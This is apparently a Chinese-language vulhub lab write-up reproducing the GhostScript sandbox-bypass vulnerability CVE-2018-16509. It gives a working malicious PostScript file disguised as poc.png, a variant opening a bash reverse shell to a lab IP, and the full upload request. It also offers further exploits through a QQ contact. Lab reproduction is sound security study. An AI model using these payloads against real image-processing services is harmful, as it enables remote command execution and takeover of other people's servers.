一、环境搭建:
进入镜像目录:
cd vulhub/ghostscript/CVE-2018-16509
启动环境:
docker-compose up -d
访问http://your-ip:8080即可
二、漏洞描述:
GhostScript 被许多图片处理库所使用,如 ImageMagick、Python PIL 等,默认情况下这些库会根据图片的内容将其分发给不同的处理方法,其中就包括 GhostScript
8 月 21 号,Tavis Ormandy 通过公开邮件列表,再次指出 GhostScript 的安全沙箱可以被绕过,通过构造恶意的图片内容,将可以造成命令执行、文件读取、文件删除等漏洞。
三、漏洞复现:
1、上传poc.png文件,内容如下:
%!PS
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%bash -c "id > /tmp/success && cat /tmp/success") currentdevice putdeviceprops
这是上传的数据包,此环境可以命令回显,但是实际环境基本回显不了的,可以通过dnslog进行验证和回显:
利用dnslog进行验证:
成功收到数据:
2、直接反弹shell:
将命令改为如下payload,测试可以反弹成功:
bash -c "bash -i >& /dev/tcp/192.168.136.129/7777 0>&1"
post数据包:
POST / HTTP/1.1
Host: 192.168.136.143:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://192.168.136.143:8080/
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------237601097528062
Content-Length: 435
-----------------------------237601097528062
Content-Disposition: form-data; name="file_upload"; filename="poc.png"
Content-Type: image/png
%!PS
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%bash -c "bash -i >& /dev/tcp/192.168.136.129/7777 0>&1") currentdevice putdeviceprops
-----------------------------237601097528062--
发送请求:
成功收到反弹shell:
各位师傅可以加好友一起学习交流交个朋友,如果之前分享的exp失效了,也可以加我好友py一下:qq:1254311935
备注:公众号+师傅们的id吧,关注我们吧!
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论